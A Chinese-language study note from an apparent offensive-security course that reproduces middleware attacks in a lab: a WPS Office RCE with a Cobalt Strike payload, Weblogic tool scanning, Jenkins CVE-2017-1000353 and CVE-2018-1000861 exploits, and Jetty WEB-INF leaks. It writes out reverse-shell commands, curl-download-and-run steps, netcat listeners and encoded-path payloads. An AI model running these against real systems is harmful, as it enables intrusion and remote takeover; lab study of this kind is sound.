前記

• 今天是學習小迪安全的第八十天，本節課仍然是圍繞中間件安全展開，包括Weblogic、Jenkins、Jetty等
• 主要以實戰為主，學會識別以及使用工具一把梭

服務攻防——第八十天

中間件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE

應用WPS - HW2023-RCE&復現&上線CS

介紹

• 漏洞描述：
  • WPS Office for Windows 內置了用于展示在線模板、素材的嵌入式瀏覽器（Chromium 內核）。
  • 當用戶打開攻擊者特制的文檔并點擊其中的 URL（或帶超鏈接的圖片/視頻）時，WPS 會調用內置瀏覽器訪問該鏈接。由于：
    1. 對域名白名單校驗過松（只要后綴匹配 *.wps.cn 即可通過）；
    2. 內置瀏覽器暴露了 cefQuery 等本地 API，可被頁面內 JavaScript 調用；
  • 攻擊者可在頁面中嵌入惡意腳本，通過 cefQuery 請求 WPS 的本地接口，實現“無提示下載 → 落地 → 運行”任意可執行文件，最終造成遠程代碼執行（RCE）
• 影響版本：
  • WPS Office 2023個人版：$\le$ 11.1.0.15120
  • WPS Office 2019企業版：$\le$ 11.8.2.12085
• 利用條件：
  1. 受害者使用存在漏洞的 WPS 版本；
  2. 系統當前用戶對 WPS 下載目錄（默認為 %TEMP% 或下載文件夾）具備寫權限；
  3. 需要用戶“1-click”交互——打開文檔后至少點擊一次惡意鏈接或帶鏈接的圖片；
  4. 攻擊者需控制一個符合 *.wps.cn 子域（或能劫持/假冒）的 Web 服務器，用于托管惡意 HTML/JS 與后續載荷

漏洞復現

• 這里主要是簡單復現一下本地命令執行，然后配合C2上線，最后想想實戰中如何利用，增加點知識面

• 可以看到WPS版本符合要求：
  

• 我們先添加一個域名讓它能夠解析，修改win10虛擬機中的hosts文件（C:\Windows\System32\drivers\etc），添加：

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

• 在win10虛擬機中的WPS RCE復現目錄下臨時啟動一個WEB服務：

python -m http.server 80

• 然后我們此時直接打開當前目錄下的poc.docx文件，發現它彈出了計算器，說明我們的命令執行是成功的（but我這里并沒有成功彈出計算器，原因未知）
  

• 并且也能夠看到終端中有人訪問過這個1.html文件
  

• 當然，我們想要利用這個漏洞不止是彈出個計算器那么簡單，很多時候都是想要讓這個機器當成跳板機然后我們進行內網的一些操作，所以需要我們可以嘗試讓他上線CS

• 至于什么是CS，以及CS如何使用，可以參考這篇文章：CobaltStrike使用教程詳解（基礎）-CSDN博客

• 這里先在kali中啟動CS的服務器：
  

• 然后我還是在kali中啟動的客戶端，當然也可以在Windows上啟動：
  

• 接著我們在CS中配置一個監聽器，ip地址填本機：
  

• 再生成一個payload，選擇剛剛的監聽器，并且輸出語言為C#：
  

• 將生成的payload部分放到1.html文件中，放到kali中，開啟http服務：
  
  

• 再到hosts文件中將剛才的域名綁定到kali的ip地址：
  

• 并且在poc.docx中修改webExtension1.xml中的url為如下：
  

• 之后打開poc.docx，等待一會，應該就能夠看到CS上線了，泥煤的，我還是沒復現成功啊

• 弄了一下午也搞不懂什么情況，這里就不弄了，其實這個也沒啥用，因為它的利用條件導致這個漏洞也比較雞肋，只能說提供一個思路

中間件 - Weblogic-CVE&反序列化&RCE

介紹

• Weblogic 是 Oracle 公司推出的 J2EE 應用服務器。
• 探針默認端口：7001
• 默認報錯頁面：
  

利用

• 目前爆出來的漏洞有：

  • CVE-2023-21839（JNDI）、CVE-2020-2551（JRMP）、CVE-2020-2551
  • CVE-2020-2555、CVE-2020-2883、CVE-2020-14882 未授權訪問
  • CVE-2018-2894、CVE-2018-2628（JRMP）、CVE-2018-2893（JRMP）
  • CVE-2018-3245（JRMP）、CVE_2018_3252（JRMP）、CVE_2018_3191
  • CVE-2016-3510、CVE-2016-0638、CVE-2017-10271、CVE-2017-3248（JRMP）、CVE-2015-4852

• 這么多漏洞一個個測肯定是不可能的，所以我們直接上工具：WeblogicTool

• 直接隨便開個靶場，然后我們直接工具一把梭就完事了：
  

• fofa語法：

"Error 404-Not Found" && port="7001"

中間件 - Jenkins-CVE&RCE執行

介紹

• Jenkins 是一個開源軟件項目，是基于 Java 開發的一種持續集成工具，用于監控持續重復的工作。
• 探針默認端口：8080
• 默認頁面（老公公的標志）：
  

漏洞復現

• 這里同樣我們可以直接用工具一把梭，當然也可以用對應的payload一個一個測
• 工具地址：https://github.com/TheBeastofwar/JenkinsExploit-GUI

CVE-2017-1000353

• 漏洞描述：Jenkins 在處理基于 HTTP 雙向通信通道的 CLI 請求時，未對收到的序列化對象做充分校驗。攻擊者可將惡意的 java.security.SignedObject 序列化后發送給 Jenkins，Jenkins 將其反序列化為 Command 對象，從而繞過官方黑名單機制，觸發 Java 反序列化鏈，最終造成 未授權遠程代碼執行（RCE）
• 影響版本：
  • Jenkins主線：≤ 2.56
  • Jenkins LTS：≤ 2.46.1
• 利用項目：vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC
• 利用：

# 1.先生成反彈shell命令
bash -i >& /dev/tcp/攻擊機IP/監聽端口 0>&1
# 2.將base64編碼過后的命令填入生成jenkins_poc.ser,這里java建議使用JDK-1.8.0_291，其他的好像有問題 
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTI5LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
# 3.使用python啟動epxploit.py，加上網站和jenkins_poc.ser
python exploit.py http://目標IP:目標端口 jenkins_poc.ser
# 4.攻擊機即可獲取到反彈的shell(要記得在攻擊機執行nc -lvvp 5566)

• 或者直接使用上面的工具一把梭，當然有時候工具不一定能利用成功，也可以當作先驗證一下：
  

• 這里顯示目標處于漏洞版本，那我們還是用具體的利用工具進行測試，首先對反彈Shell進行編碼，然后運行工具得到jenkins_poc.ser文件：
  

• 接著監聽我們的端口，然后執行第三條命令：
  

• 然后這里本來是可以連上我們的攻擊機的，但是我這里又沒成功，真的不能理解是為什么反彈不成功

• 但是這里直接執行命令是能夠成功的：
  
  

CVE-2018-1000861

• 漏洞描述：Jenkins 采用 Stapler Web 框架開發，框架允許把 URL PATH 直接映射到后端的 public 方法。 CVE-2018-1000861 的成因是 這種映射沒有 ACL 限制，攻擊者可在 無需登錄 的情況下，通過構造 /securityRealm/.../descriptorByName/.../checkScript 這類“白名單前綴”URL，一路路由到 org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#checkScript 等敏感方法；再配合 Groovy 的 元編程/AST 注解（如 @ASTTest、@Grab），在 腳本編譯階段（語法檢查） 觸發任意代碼執行，從而 繞過運行時沙盒，造成 未授權 RCE。
• 影響版本：
  • Jenkins主線：≤ 2.153
  • Jenkins LTS：≤ 2.138.3
• 利用項目：https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
• 利用：

# 1.將反彈shell命令寫入到服務器下shell.txt
bash -i >& /dev/tcp/攻擊IP/監聽端口 0>&1
# 2.在服務器上啟動一個web服務，使可以訪問到shell.txt
python3 -m http.server 8888
# 3.先使目標遠程下載shell.txt文件并保存
python2 exp.py http://目標IP:端口/ "curl -o /tmp/1.sh http://服務器IP:服務器端口/shell.txt"
# 4.再使目標執行下載的文件
python2 exp.py http://目標IP:端口/ "bash /tmp/1.sh"

• 首先寫入反彈Shell的命令到shell.txt，并開啟服務：
  

• 然后調用exp.py讓目標網站遠程加載shell.txt文件到本地/tmp/1.sh，這里可以看到它確實是下載了這個文件：
  
  

• 最后讓目標網站執行本地的1.sh文件：
  

• 本來它是會反彈到我們的攻擊機上的，但是這里還是沒有反彈成功，原因是因為我用的Ubuntu系統應該是環境有問題，所以很多反彈Shell的命令用不了，但是文件是成功下載的，換成其他命令應該是可以執行的：
  

• 出現的問題：如果這里使用pip2下載庫失敗的，可以使用如下命令

python27 install -r requirement.txt --progress-bar=off -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com

CVE-2019-100300

• 漏洞描述：CVE-2019-100300 并非單一缺陷，而是 Jenkins 官方在 2019-01-08 一次性披露的三個關聯插件漏洞的合稱，本質都是 “Groovy 編譯期 AST 轉換注解繞過腳本沙盒”，最終造成 已認證遠程代碼執行（RCE）。
• 影響版本：主要是插件安全
• 利用條件：需要有可登錄的賬號密碼，利用價值較低
• 利用項目：https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

中間件 - Jetty-CVE&信息泄露

介紹

• Jetty 是一個開源的 servlet 容器，它為基于 Java 的 Web 容器提供運行環境
• fofa語法：

app="Jetty"

• 插件識別：
  

漏洞復現

CVE-2021-28169

• 漏洞描述：CVE-2021-28169 是 Eclipse Jetty 中的一個信息泄露漏洞，源于對 URL 路徑的雙重解碼處理不當。在使用 ConcatServlet 或 WelcomeFilter 時，Jetty 會先對請求路徑進行一次 URL 解碼并檢查是否包含敏感目錄（如 /WEB-INF/），隨后再次解碼并轉發請求。攻擊者可通過雙重 URL 編碼繞過第一次的安全檢查，從而訪問本應受保護的 WEB-INF 目錄下的敏感文件（如 web.xml），造成配置文件或源代碼泄露。
• 影響版本：
  • Jetty 9.x：≤ 9.4.40
  • Jetty 10.x：≤ 10.0.2
  • Jetty 11.x：≤ 11.0.2
• 利用：

/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

CVE-2021-34429

• 漏洞描述：CVE-2021-34429 是 Eclipse Jetty 中的一個路徑驗證繞過導致的信息泄露漏洞。該漏洞源于 Jetty 在處理 URI 路徑時對 Unicode 編碼（如 %u002e）和空字符（如 %00）處理不當，使得攻擊者可以通過構造特殊編碼的路徑繞過 ContextHandler 的安全檢查，從而訪問 WEB-INF、META-INF 等受限目錄下的敏感文件（如 web.xml、classes/*.class 等）
• 影響版本：
  • Jetty 9.x：9.4.37 – 9.4.42
  • Jetty 10.x：10.0.1 – 10.0.5
  • Jetty 11.x：11.0.1 – 11.0.5
• 利用：

/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml

總結

• 關于Jetty的兩個漏洞都是信息泄露的漏洞，有一定作用，遇到就用下面這幾個Payload測試就行了：

/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.